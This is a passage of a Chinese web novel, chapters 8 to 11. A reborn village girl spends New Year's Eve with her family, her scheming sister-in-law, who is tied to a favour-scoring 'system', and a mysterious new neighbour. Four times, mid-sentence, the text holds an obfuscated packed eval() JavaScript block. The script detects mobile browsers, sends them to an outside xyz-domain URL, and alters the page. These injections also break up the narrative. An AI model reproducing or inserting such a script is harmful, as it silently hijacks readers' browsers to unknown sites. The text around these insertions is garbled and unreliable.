“嫂嫂不是那种偷奸耍滑的人，妈你就让她一起打扫吧，不然她心里过意不去。”周晚梨笑着道，“是吧，嫂嫂？” 【好感度+2】 秦海霞原本还有些勉强，看到好感度上涨顿时就动力满满：“梨儿说得对。” 说着便拿了抹布主动去擦窗户。 丁兰香见劝不动她俩，只得作罢。 周晚梨也开始干活，刚搬两张凳子，就听见身后有人在问：“你们在干什么？” 回头一看，是傅同舟家另一边的邻居。 这家人素来喜欢占便宜，麻雀飞过都要扯根毛。 听说傅同舟有钱，已经来打听过很多次。 周晚梨眼珠一转，小声道：“这不是马上要过年，傅同舟刚买了房，今天去办年货没时间打扫卫生吗？跟你我就说实话了，他昨天给我家送了一大包东西——当然，东西不重要，主要以后大家就是邻居，总要互相帮忙的。所以，我们来帮忙打扫一下卫生。” “你说得对，邻里之间就该互相帮忙。”这人马上道，“这房子一年多没住人，你们一家要打扫到什么时候去？我也来帮忙。” 周晚梨：“这多不好意思。” “都是应该的，我也是傅同志的邻居嘛。”这人挽起袖子，“听说梨儿你还病着，别干了，把扫帚给我。” 周晚梨用空着的手朝他竖起大拇指：“要是人人都像你这样，周家湾哪还有什么矛盾。” 这人也是毫不脸红：“不是我自吹，我这人虽然穷，但向来人品好，最喜欢帮助人了。” “那是，我们都知道。”周晚梨思路打开，清清嗓子唱了一首山歌。 没一会儿，就又吸引来七八个人。 8. 第 8 章 周家湾就这么大点，新鲜事太少，要过年了大家又闲，本来就天天在议论傅同舟买房这事，听到他家有动静，全来看热闹了。 当然，大部分人也不好意思干看着，都会帮忙干点活。 于是等到傅同舟办完年货回来，就看到一个窗明几净、干净整洁的新家。 还有些认识、不认识的人，站在院子里闲聊，看到他，一个个全都笑吟吟地望过来。 傅同舟非常意外。 “知道你一个人来不及，我们大家伙一起帮你把卫生做了。”他家隔壁那位邻居抢着大声道，“你不会嫌我们多事吧？” “怎么会？”傅同舟回过神来，“真是太谢谢大家了。” 他今天正好买了些年货，拆开最上面一包瓜子糖果，分给众人。 村民们很高兴，围着傅同舟问东问西。 “我先把东西放一下再聊。”傅同舟想要进屋，却被人一把拉住。 回头一看，是周和满。 “先别进。”周和满从自家买的鞭炮里拿出一串来点燃，“搬新家进门前放一串鞭炮，预示着家宅安宁，生活红红火火。” “噼里啪啦”的声响中，孩子们在欢快地尖叫玩闹，大人们也都笑着鼓掌祝贺。 周晚梨没有参与这份热闹，她站在自家耳房边，静静观察傅同舟。 他随着鞭炮炸开的碎屑往后退了几步，退到院子旁的一棵橘子树后，仰头看向天空。 这个角度，周晚梨看不到他的表情，只能看到一点轮廓清晰的侧脸。 莫名就觉得，这一刻他的反应会很真实，周晚梨下意识走出去几步，想看看他是感动是嫌弃还是无动于衷。 恰在这时，傅同舟似有所感，扭头看过来。 两人猝不及防对上视线。 在喧嚣的背景下，他的眼神出人预料的柔软，像夜深人静流淌在花瓣上的月光。 周晚梨心底忽然冒出一个疑问——他真的是杀人狂魔吗？ * “我知道大家都帮忙干了活，但肯定是你们先带的头。”傅同舟应付完好奇的村民后，又拿了两包糖果过来周平玉家道谢。 在一包白糖都能当做礼品的年代，这种包装得花花绿绿的糖果，至少在农村并不是家家户户都舍得买的。 这次丁兰香说什么也不肯收了：“你刚搬来，大家都好奇，过年的时候少不得有人去你家串门，这些东西你自己留着招待客人——知道你应当是不缺钱，可在我们这小地方，吃完了未必还能买得到，还是省着点吧。” 其他人也纷纷推拒，坚决不收。 最后傅同舟只好拆开包装，抓了两大把糖果放在桌上。又不知道从哪里单独摸出一颗，特意放到周晚梨面前。 他什么都没说，周晚梨疑惑地看了他一眼。 “这也是糖果吗？”秦海霞在一边问，“看起来好特别。” 周晚梨又收回视线，低头看了眼，包装金灿灿的，比其它糖果看着精致好多，应该是巧克力。 “给嫂嫂吃吧。”周晚梨忽然反应过来，将巧克力递给秦海霞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563144|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦海霞手伸到一半，察觉到好几道目光落在自己身上，急忙变“接”为“推”，又将巧克力推回周晚梨面前：“这是同舟给你的，当然是你吃，嫂嫂只是见识少，好奇问一句，怎么可能和你抢吃的。” 周晚梨虽说也成年了，但在大家的观念里，只要还没结婚都算孩子，她当然不能当众抢一个孩子的糖果吃。 伪装这么久，差点就露馅了。 都怪傅同舟，要给也该一人给一块吧？凭什么好东西只给周晚梨？ 果然男人都一样，看到漂亮的小姑娘就区别对待。 “这是巧克力。”傅同舟这时候才慢悠悠地解释，“我从省城带来的，可惜只剩一颗了，这边又买不到……实在不好意思。” “我不是那个意思……”他的一句“不好意思”把秦海霞搞得更不好意思了，好像她多想吃一样，“我没想吃，真的只是觉得好奇。” 傅同舟点点头：“我知道。” 他当然知道她的真面目，秦海霞不敢再多说。 周晚梨看着她尴尬的模样，心里一动。 之前傅同舟送两盒雪花膏，她只当他和村子里大部分人一样，认为丁兰香已经过了爱美的年纪，没必要用这些东西。至于两盒一大一小，可能是粗心拿错了，或者年底缺货。 她当时完全没多想，现在回头看，倒觉得傅同舟故意的可能性比较大。 他不知道周家已经有人发现了秦海霞的真面目，那两盒雪花膏和今晚这颗巧克力，都是在引导他们看清秦海霞？ 9. 第 9 章 除夕。 周晚梨是被空气中的肉香味唤醒的。 周家湾的习俗，除夕这天要早早起床炖肉，最好是炖上一整天，以预示着来年天天都能吃上肉。 “梨儿，你起了？”丁兰香听到动静回头看见周晚梨出现在厨房门口，很是高兴。 自从周晚梨生病以来，丁兰香几次夜里去查看，都发现她睡得不怎么安稳，昨天晚上才总算是睡踏实了。 她的心也跟着踏实下来。 “过来尝尝这个野鸡腿，比自己养的鸡还要嫩。”丁兰香从锅里捞出刚刚炖好的一只野鸡，“你跟你嫂嫂一人一个。” 周家湾靠山，山里总有些野生动物，村子里的人偶尔会去打猎。周平玉家不打猎，但有时候运气好，能够捡到一两只受伤的兔子野鸡什么的。 这只野鸡就是两个月前捡的，那时候不年不节的，丁兰香就没舍得吃，用盐腌了风干，留着过年吃。 野鸡不大，尤其是风干过后的，两个鸡腿一拿掉，就更不剩什么了。 “这会儿不吃。”周晚梨阻拦道，“妈，你留着吧，我待会儿用它来做一道菜。” 秦海霞从外面进来，听到有鸡腿吃，手都洗干净了，结果到嘴的鸡腿又飞了。 她不免有点哀怨，又不好说自己想吃，半天憋出来一句：“梨儿你什么时候会做饭了？” 家里大部分时候是丁兰香做饭，不是她做饭有多好吃，而是她对分量的掌控特别精准，基本能做到让大家都吃个七八分饱，不会太饿也不至于浪费粮食。 偶尔丁兰香忙，就是秦海霞做饭。 周晚梨一般都是烧火打下手，没见她做过饭。 “嫂嫂不信我会做饭？”周晚梨反问。 “那没有，嫂嫂只是期待。”秦海霞勉强笑了笑，心里有点烦。 原本按照她的计划，到过年的时候，差不多就能将周晚梨的好感度刷到100。 到时候拿到系统的奖励，就可以离婚了。 然后她将迎来崭新的美好生活。 万万没想到，一场感冒，打乱了所有计划。 这几天周晚梨的好感度一直掉，刚开始她还不断讨好，可没有效果后，就有些烦了。 “也不知道顺满和小满怎么回事。”秦海霞自己不痛快，就想让别人也不痛快，“今天都除夕了，怎么还没回来？该不会出什么事吧？” 顺满是周晚梨二哥，小满是收养的小弟，前些天两人去外公家帮忙干点活，说好腊月二十八之前回家。 今天都除夕了，他们还没回来，周平玉父子俩不放心，一大早就去接人了。 周和满临走前还叮嘱秦海霞，大过年的别乱说话，免得母亲和妹妹担心。 “不是说捎了信，今天回来吗？”丁兰香果然着急了。 “是捎了信。”周晚梨知道他们晚回来的原因，看了秦海霞一眼，“嫂嫂可能没听到。” 秦海霞被她看得心里一慌，还想辩解，忽然听到系统发出一连串尖锐刺耳的警示音。 【好感度-10】 【好感度-10】 【好感度-10】 【……】 一连串掉好感度的提示几乎将她脑袋填满。 掉吧，秦海霞自暴自弃地想，无所谓，反正到不了100，掉1点和掉10点有什么差别？ 边想边大力朝灶膛里塞了一把柴火。 【警告！好感度跌破-100，宿主将受到随机惩罚！】 什么意思？ 秦海霞一愣。 还没等她反应过来，灶膛里的竹筒忽然炸开，一截没塞稳还在燃烧着的竹筒蹦出来，刚好落在她手臂上，竟直接将她衣袖点了起来。 火苗瞬间蹿得老高。 “啊啊啊！”秦海霞吓得尖叫起来。 “怎么了？怎么了？”丁兰香急忙跑过来。 周晚梨反应快，直接舀了一瓢水从头泼向秦海霞。 火灭了，但秦海霞全身湿透，看起来非常狼狈，衣服袖子烧坏了，手背也被火舌燎得火辣辣地疼。 秦海霞吓得心脏砰砰乱跳，脸色惨白。 太可怕了！ 【绑定的时候就提醒过宿主，完不成任务会有惩罚。】 【这次只是小小的警示，好感度每掉100点，宿主就会受到一次惩罚，好感度越低惩罚越重！】 秦海霞：“……” 绑定的时候，系统确实说过有惩罚。 可之前好感度涨得太过容易，她只看到好处，早就忘记了这件事。 “海霞快去换身衣服，这里有我，你别管了。”丁兰香看秦海霞在瑟瑟发抖，只当她是冻的，赶紧将人拉起来。 秦海霞深一脚浅一脚地出了厨房。 周晚梨心情不错，坐过去将灶膛里多余的柴火退出来。 “我来。”丁兰香有点不放心，“你去看看你爸他们回来了没。” 话音刚落，外面就有人在喊“平玉”。 “好像是爷爷。”周晚梨没起身，“妈你去看看他有什么事吧。” 丁兰香只得擦了擦手，来到院子里。 来人正是周晚梨的的爷爷周瑞金。 “爸，什么事？”丁兰香问。 周瑞金说：“今年早点去祭祖上坟，你家准备好了没？” “平玉出门还没回来。”丁兰香有点迟疑，“现在只有梨儿在……” 村子里祭祖不怎么讲究，有些是由家族里的老人领头，一大家子一起去；有些是小家庭单独去。有时候上午去，有时候下午去。 周家一向是周瑞金领着大家一起去。 也不是每家都必须全员到场，一家派个代表就行。 “梨儿一个女孩，就别去了。”周瑞金打断丁兰香，又看了眼屋子里想，小声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563145|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“祖宗会不高兴。” 丁兰香抿了抿唇，说：“那你们先去吧，我家下午再去。” “和满也不在家？”周瑞金不死心地又问了一遍。 丁兰香摇头：“跟他爸一起出去了。” “那行。”周瑞金转身走了，“等平玉跟和满回来，你家自己去。” 丁兰香低头生了会儿闷气，才转身回去。 据说周家湾以前是不让女人祭祖，可战乱那些年，能有后人上个坟都不错了，哪里管是男是女？ 前几年梨儿读书那会儿，成绩好得十里八乡都知道，他们年年祭祖也都要带着她。 今年就不行了？ 丁兰香在门口将不满压下去，换上个笑脸进屋，掩饰道：“你爷爷问你哥他们回来没。” “也该回来了吧？”周晚梨其实听到了周瑞金的话，但不想丁兰香难过，便装不知道。 “是啊。”丁兰香之前听秦海霞说了那句话后，心里也不安，又扭头朝外面望去，“今天都三十了，什么事要拖到……哎，回来了！” 说着便跑出去迎接。 周晚梨也赶紧起身跟出去。 周家父子三人一起回来了，唯独养弟周小满不在。 “小满呢？”丁兰香问。 “妈。”周顺满先跟她打了个招呼，然后才道，“小满之前差点摔倒，表哥为救他摔伤了胳膊，小满过意不去，非要留在舅舅家照顾表哥。他让你们别担心，等表哥好一点他就回来。” “这……”丁兰香没想到会发生这种事情，一时心乱如麻，“你表哥伤得重吗？过年怎么好在……不在自己家——要不，平玉你还是去把小满接回来吧。” 要是其他孩子她都没这么担心，小满不是亲生的，她反而更怕他受委屈。 虽然是自己的娘家，可丁兰香也知道哥哥嫂嫂小气的性格，侄儿受伤，说不定他们会迁怒小满。大过年的，孩子不能回家过年，要是再受气……想想都心疼。 “表哥伤得不重，医生说年轻人养养就好了。”周顺满说，“小满就怕你这样，特意叮嘱我告诉你们，别去接，去了他也不会回来。” 丁兰香更为难了，看向周平玉，周平玉闷着头没吭声。 “妈，就听小满的吧。”周晚梨跟着劝，“我们这时候去接小满，让舅舅舅妈怎么想——是不想照顾表哥，还是怕他们家对小满不好？本来表哥就受伤了，这样不是火上浇油吗？” 丁兰香果然迟疑了。 “等初二回娘家，我们一起去看外公。”周晚梨继续道，“到时候看看情况，再把小满带回来，也就两三天时间，别担心了。” 周平玉跟周和满也表示赞同。 丁兰香这才歇了去接周小满的心思。 周晚梨转过身，脸色冷了下来。 周小满哪里是为了照顾表哥才留在舅舅家的，他是在偷偷联系他的亲生父母。 10. 第 10 章 周晚梨觉得，周小满想找自己亲生父母没什么问题。 但看到亲生父母有钱，就装可怜造谣养父母对他不好，甚至过年都不许他回家——问题就很大了。 “给你的花。”周顺满将两枝梅花递给周晚梨，黑着脸道，“小满知道你喜欢花，千叮咛万嘱咐一定要让我带给你——你说你矫情什么，一个农村人喜欢花，真把自己当城里大小姐了？” 周晚梨看了那花一眼，接过来忽然反手就往周顺满身上抽。 梅花摘下来又拿了这么远，已经有点蔫吧了，哪里经得起这样的折腾，花瓣瞬间簌簌往下掉。 “你疯了？”周顺满急得跳脚，“不能拿别的东西打？好好的花都被你糟蹋了，可怜小满一番心意。” “梨儿，拿这个打。”周和满刚要进屋，听到这话，顺手给周晚梨扔了个扫帚过来，后半句却是对弟弟说的，“走之前怎么和你说的？怎么没照顾好弟弟？我看梨儿打得好。” 周顺满只比周晚梨大了一岁多点，两人从小一起长大，形成鲜明对比——周晚梨长得可爱，性格好，人还聪明；周顺满却是个犟种，脾气冲动，没少惹事。 每次两人间有矛盾，家人几乎都是无脑站周晚梨的。 周顺满张了张嘴，到底没为自己辩解。 “你过来。”周晚梨揪着周顺满的衣服，将他拖到院子另一边。 “周晚梨，我跟你说别太过分。”周顺满怒道，“别逼我大过年的对你动手。” 他嘴上叭叭得凶，实际上连挣扎都没敢用大力气——听说周晚梨又病了，怕力气太大把她碰倒。 身娇体软的，真烦。 “我打你，不是因为你没照顾好小满。”周晚梨松开手道，“我有别的事问你。” 周顺满一愣，梗着脖子道：“那天确实怪我疏忽，我认。” “你真是头犟牛。”周晚梨气笑了，“不和我唱反调，你脑子就没法好好思考，是吧？” “怎么跟你哥说话呢？信不信我揍你……不是，你是谁呀？看谁呢？”周顺满说着说着，忽然冲隔壁院子里吼道，“是你能看的吗？你给我过来，看我不揍……” 周晚梨回头一看，见是傅同舟，急忙拉住周顺满：“你快闭嘴吧，那是我们的新邻居。” “什么玩意儿？”周顺满掏了掏耳朵，怀疑自己听错了。 怎么突然冒出个新邻居？ “同舟哥，这是我二哥。”周晚梨将他往自己身后拽了拽，拽不动，只好探出脑袋笑着解释，“不好意思，他前些天不在家，不知道这房子换人了。” 傅同舟温和地一笑：“没关系。” 又主动冲傅同舟打招呼：“你好，我是傅同舟。” 周顺满还是脸色不善：“就算是新邻居，也不能……” 周晚梨一把捂住他的嘴，对傅同舟讪笑两声，说了句“回头聊”，然后强行将周顺满拖回屋里，低声道：“你嚷嚷什么？” “那小子什么来历？为什么要在我家隔壁买房？”周顺满一叠声问道，“他刚刚一直在看你，是不是冲你来的？” 周晚梨头都大了，只得先和他说了傅同舟的来历。 “人家公安建议他来保护村民的，不是他非要来。”周晚梨最后道，“你别乱说话，寒人家的心。” “反正我看他有点问题。”周顺满还是坚持自己的看法。 周晚梨长得这么好看，哪个男的不喜欢？ 要是周和满觉得傅同舟有问题，周晚梨会添油加醋让他小心防备，但是对周顺满她可不敢这样——但凡绳子拉松一点，这小子可能就直接冲出去乱咬人。 虽然周晚梨现在对傅同舟是否是杀人狂魔还存疑，但也不敢让周顺满去得罪人。 “先别说你的怀疑毫无根据，退一万步讲，即便你说的是真的，就要嚷嚷得整个周家湾都知道吗？你猜，这事传开了，大家会骂他还是骂我？” 虽然这事很没道理，但事实就是，在这种小地方，一个男人和女人扯上关系，一定是女人挨骂更多。 更别提，她还是有婚约在身的人。 周顺满虽然犟，倒也并非完全不讲道理，只要顺着他的思路，他就能听得进去。 “那你少跟他接触。”周顺满果然冷静下来，皱着眉头道，“我会盯紧他。” “你盯着他干嘛？”周晚梨说，“最好是咱们家所有人都少跟他来往。” 周顺满点点头：“你说得对。” 可惜天不遂人愿。 两人这里刚说定，中午吃饭的时候，丁兰香就说要请傅同舟一起过年。 周顺满直接跳了起来：“我们都要去爷爷奶奶家团年，带一个外人像什么话？” 周瑞金就两个儿子，每年过年都是三家各自准备几个菜，大年三十晚上聚在一起吃团年饭。 “你大伯家今年要进城去过年。”丁兰香说，“他们两家中午就团过年了，你们爷爷奶奶说晚上吃不下，让我们自己过。” “中午怎么没叫我们？”周顺满更不满了。 丁兰香尽量表现得不在意：“那时候你不是还没回来吗？怕赶不上，我就说不去团年了。” 实际上周瑞金根本没喊他们，吃完饭才跟周平玉说的。 丁兰香一直都知道，老两口不喜欢周平玉这个儿子，也顺带着不喜欢他们这一家人。之前以为周晚梨有出息，对他家面子上还过得去，这两年也懒得装了。 她对老两口没什么感情，喜欢不喜欢都还好，但不想孩子们难过，总想着掩饰一二。 周顺满将信将疑，还想再问，丁兰香赶紧转移话题，催他们赶紧去上坟祭祖。 她还特意让周晚梨也跟着一起去。 周晚梨其实对上坟这事并不在意，有可能不会喜欢她的祖先，祭拜来干什么？不过她知道丁兰香在意，也就没反对，只是将丁兰香和秦海霞也一并叫上了。 往年周瑞金带家人去上坟，是不会带儿媳妇孙媳妇的。 周平玉心里怎么想的不知道，反正面上没反对。 上完坟回程途中，周晚梨遇到一个小学同学。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563146|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那姑娘去年出嫁，今年就一个人回娘家过年，她虽然没说，但明眼人都能看出来，她的婚姻有问题。 周晚梨比其他人更清楚，这姑娘的丈夫不是个好东西。 上辈子她就过得很惨。 周晚梨隐晦地劝了几句，听出这姑娘并不想离婚，还竭力遮掩自己的情况，就假装什么都不知道，没再劝了。 又说了一会儿闲话，周晚梨和同学分开。 一转身发现周顺满蹲在不远处的田埂边，不知道在干什么。 “二哥，你看什么呢？”周晚梨走过去问道。 周顺满直起身，揉揉发麻的腿，说：“看到一条黄鳝，跑了。” “首先，黄鳝会冬眠。其次，你看到黄鳝怎么可能忍得住不动手？”周晚梨戳破他的谎言，“担心我就明说。” “谁担心你了？少自作多情。”周顺满大步走远了。 周晚梨看着他挺拔的背影，眼前闪过很多画面。 小时候父母要出工干活，弟弟妹妹就交给周和满带，周和满也还只是个孩子，带一个尚且困难更何况是两个，他更多时候便只能顾着更小一点的周晚梨。 父母也一样，会更关注身体差年纪小的那个。 周顺满也不过才比周晚梨大一岁多，难免心里难过，可他性子别扭，不肯明说，就找周晚梨的茬。 以至于周晚梨很长一段时间都觉得，二哥很讨厌自己。 可每次有人欺负她，周顺满都会像疯狗一样冲上去跟人家拼命。 “二哥。”周晚梨看着渐渐慢下来的周顺满，追上去对他道，“你是全世界最好的哥哥。” “你疯了吗？”周顺满瞬间耳朵都红透了，整个人手足无措地往后退了好几步。 眼看他就要退到田里去，周晚梨赶紧伸手去拉：“小心……” 手刚刚拉上，周顺满已经踩空了。 他身体晃了几下，还是没稳住，朝田里栽倒。 周晚梨有自知之明，知道自己力气小，在被他拉得挪动了一小步后，就果断松开了手——这块田里有点水，但不多，掉下去不会摔伤，只会很丢人。 周顺满果然没能稳住，掉进了田里。 不过田坎不高，他只摔了个屁股墩，自己很快便站了起来。 周顺满尴尬不已，赶紧抬头，只见周晚梨默默后退几步，然后背过身去，肩膀一耸一耸，显然在偷笑。 “周晚梨！”周顺满气得大喊一声。 周晚梨回过头来，捂着嘴，但露出来的眉眼弯弯，笑得像三九天的太阳一样灿烂。 周顺满顿了顿，然后才带着一身狼狈爬上田坎，作势要去抓周晚梨：“你故意戏耍我的，对吧？还笑，看我不把你也扔下去！” “哈哈哈！”周晚梨终于没忍住，大笑出声，一边撒腿往家里跑，一边喊，“妈，二哥掉田里了！” 自打重生以来一直郁结在心口的一团气，忽然就全消散了。 周顺满：“……” 好烦！周晚梨绝对是全世界最奸诈的人！ 11. 第 11 章 周晚梨和周顺满回到家，第一个迎出来的却不是丁兰香，而是傅同舟。 之前丁兰香岔开了话题，周顺满忘记继续反对傅同舟来家里过年，刚才几人上完坟先回家，就已经将傅同舟叫过来了。 周晚梨倒是不意外。 傅同舟一个人在周家湾，谁都不熟，只跟自己家打过一点交道。又是过年这种时候，“每逢佳节倍思亲”，别说是做事周全的丁兰香和周平玉，便是周晚梨也觉得应该邀请他一起过年。 她家有六个人在呢，傅同舟再厉害，真动起手来，他们也能给他按住了，所以这种时候反而不危险。 周顺满还是不高兴，但人已经来了，他也不好当着外人的面驳父母的面子。 最重要的是，他现在实在太狼狈了，吵架都没气势，所以也只是警告地瞪了傅同舟一眼，便回房间换衣服去了。 “这是怎么了？”傅同舟手里拿着一把蒜苗，边细致地摘掉那些黄叶子和根须，边问周晚梨。 “二哥掉田里了。”周晚梨客气地道，“哪里用你干活，放着我来吧。” 傅同舟笑笑：“我不会做菜，你再不让我摘点菜，我就真不好意思吃了。” 周晚梨只是怕他下毒，听说他不上手做菜就放心了。 只是摘个菜，应该下了不毒。 不过她还是跟着进了厨房，还是盯着点放心。 “顺满怎么会掉田里？”丁兰香正在剁肉馅，看到周晚梨进来就问。 周晚梨张嘴便造谣：“他说想去捉黄鳝。” “大冬天哪里来的黄鳝。”丁兰香无奈道，“就知道胡闹，多大的人了，还跟个孩子似的。” “周晚梨，你又污蔑我。”周顺满也不放心傅同舟，匆匆换了衣服，抱着外套就跑来厨房，结果刚好听到周晚梨给自己泼脏水。 丁兰香看他一眼，确认他没受伤，放下心来，问道：“那你为什么会掉进田里？” 周顺满：“……” 总不能说，是被妹妹一句夸奖吓得找不着北吧？ 那也太丢人了。 丁兰香见状只当他是心虚，也没继续为难他，换了话题道：“别都挤到厨房来，顺满去生两个火盆，晚上守夜冷。” 周家湾没什么好玩的，除夕这天守夜，大部分的家庭都是男人打牌，女人聊天。 夜里气温低，农村的房子又漏风，不烧火根本坐不住。 毕竟是数九天气，周顺满刚掉进水田里，虽说年轻扛得住，但也实在冷。对丁兰香安排的这个任务，他还是很乐意的，满口答应：“好——你叫傅同舟是吧？跟我一起去生火吧，做饭的事交给她们女人。” 他总觉得让傅同舟跟周晚梨待在一起不放心，趁机将人叫人。 傅同舟答应一声，将蒜苗分开放好，又去洗手。 “没大没小。”丁兰香呵斥周顺满一声，“同舟比你大，你要叫哥。” 周顺满才不想叫，飞快跑出去，还不忘对傅同舟道：“快点啊，我在院子里等你。” 等他们离开后，周晚梨才去做自己承诺的菜——那只野鸡。 饭都吃不饱的年代，哪怕是过年，肉也不是随便吃的。 所以，周家湾的人过年不喜欢拿肉炒菜，有肉都是直接上肉，这样才过瘾。 比如这只野鸡，原本丁兰香是准备分掉两只鸡腿后，剩下的便撕成条，直接端上桌。 周晚梨其实也不会做菜，这会儿同样是把鸡肉都撕下来，然后撒上葱花，加了点调料和油辣子，拌一拌就成了。 “妈，你尝尝。”周晚梨夹了一筷子，趁丁兰香说话，塞进她嘴里。 丁兰香吃完朝周晚梨竖起大拇指：“好吃，梨儿真厉害。” “读过书就是好，脑子转得快。”秦海霞也跟着夸，一转身却翻了个大大的白眼。 野鸡肉已经很香了，再这样拌过，能不好吃吗？ 调料不要钱？ 油辣子不要钱？ 这样拌树皮都好吃。 想是这样想，等菜正式上桌，秦海霞第一个夹的就是这道凉拌野鸡：“我要尝尝梨儿做的菜。” “梨儿做的？我也要尝尝。”周和满有点惊喜。 周顺满不说话，筷子已经先伸出去了。 其余人也都纷纷瞄准那道拌鸡。 野鸡本来就小只，一人一筷子就该没了，秦海霞仗着这道菜离自己近，赶紧抢着夹了满满一大筷子。 见状丁兰香和傅同舟都默默调转筷子，去夹旁边的菜。 秦海霞满意地塞了口鸡肉进嘴里，又嫩又香，真好吃。 【好感度-1】 系统提示音煞风景地响了起来。 秦海霞顿了顿，继续吃。 才掉一点，无所谓，还是吃肉要紧。 【好感度-1】 秦海霞抬头看了眼周晚梨，她正慢条斯理地吃着菜，看不出任何异样。 【好感度-1】 系统的播报却还在持续。 跟之前相比，掉得不是很快，幅度也不大，但大有持续不断的架势。 秦海霞听得心烦，本来还想再夹一筷子拌鸡，终究还是转了转筷子，伸向旁边的木耳炒肉。 【好感度-1】 然而系统并没有停下来。 秦海霞：“……” 她又改为夹豆腐、青菜……还是没用。 系统就像磁带卡带了，一直在重复播放【好感度-1】。 秦海霞悄悄问了下系统，确定没出问题。至于为什么好感度会一直掉，系统也不知道，只能猜测可能是周晚梨心情不好。 大过年的有吃有喝，为什么要心情不好？ 真是晦气。 而且，心情不好拿她出什么气？ 搞得年夜饭都吃不安稳。 秦海霞这段时间没少被折腾，今天又被系统的惩罚给吓到，这会儿情绪上头，实在忍无可忍，“啪”一声将筷子拍在桌子上。 言笑晏晏的餐桌瞬间安静下来，所有目光齐刷刷落在秦海霞身上。 秦海霞清醒过来，一下子难掩慌乱——她向来最是温柔，怎么能当众摔筷子呢？ 好在丁兰香的关心给她找了个借口：“海霞怎么了？哪里不舒服吗？” “头有点痛。”秦海霞顺势道。 “怎么会突然头痛？”周和满有点怀疑，但还是关心道，“我去请杨大夫过来看看？” “不用，老毛病了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563147|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦海霞起身，朝卧房走去，“我去休息一会儿就好。” 周和满急忙跟上去扶着她。 “真的没事？”将人扶上床以后，周和满又道，“不用担心吉利不吉利，都是封建迷信，生病就要看大夫。” 秦海霞眨了眨眼，没说话，却忽然伸出手，摸向他裤腰。 周和满吓了一大跳。 一是外面大家都关心着这边的动静，二是秦海霞向来害羞，从未有过这样一面。 “你干什么？”周和满压低了声音问。 “别守夜了，早点回来休息。”秦海霞半晌抽回自己的手，轻声道。 她拿周晚梨没办法，还不能拿她哥哥撒撒气？ 秦海霞对夫妻生活向来不热衷，经常以身体不舒服为由各种推脱，周和满到底血气方刚，哪里经得起这样的撩拨，呼吸都乱了，看了她好一会儿才走出去。 “海霞怎么样了？”众人纷纷询问。 “没事，老毛病，休息一下就好。”周和满有些心不在焉地说。 因着秦海霞这“病”，大家都有点顾虑，年夜饭没多久就结束了。 幸好原本也吃得差不多了。 丁兰香又去问了秦海霞一遍，确定真无大碍，大家才放下心来。 傅同舟提出回家，丁兰香急忙挽留：“你一个人回去守夜多无聊，就在这里跟他们打牌吧……你会打牌吗？” 傅同舟会玩牌，但不会周家湾的特殊玩法。 好在他聪明，很快就学会了。 “梨儿你来玩吧，我去照顾你嫂嫂。”周和满有点坐不住。 以前在周家湾，玩牌跟抽烟喝酒一样，是男人的特权。女人玩这些，是会被嫌弃的。 周晚梨也就偶尔在家里跟哥哥弟弟们玩一玩，从不去外面玩。 周平玉抬起一只眼睛看看她，到底没说什么。 丁兰香不会玩，坐在周晚梨身边看她玩，时不时剥个瓜子花生喂到她嘴里。 几把下来，竟然是周晚梨赢得最多。 “你去哪里学的？”周平玉终于没忍住，问道，“平时跟别人出去玩了？” “哪里用得着专门去学？会算牌就行。”周晚梨知道这个爹是有点迂腐的，不想大过年被他教训，起身拿了支蜡烛，“妈，我去上个厕所，你帮我看着点。” 周家湾很多人家修房子，正房和厕所是分开的。周晚梨家也一样，中间还隔着一个后院。 周晚梨刚走到后门边，就听到厕所里有动静，旁边猪圈里的猪还在哼哼唧唧。 估计是周和满或者秦海霞在上厕所，周晚梨正准备回去，忽然听到“哗啦啦”的水声，像是有人在洗澡。 她愣了下。 今天是除夕，全家人在晚饭前都已经洗过澡，有必要这会儿再洗一次？ 而且……周晚梨转身去灶上摸了下，都是冷的。 厕所里也没点灯，黑灯瞎火洗冷水澡——怎么看都不对劲。 周晚梨还是决定去大哥大嫂房里看看。 谁知道刚一转身，差点跟人撞个满怀。 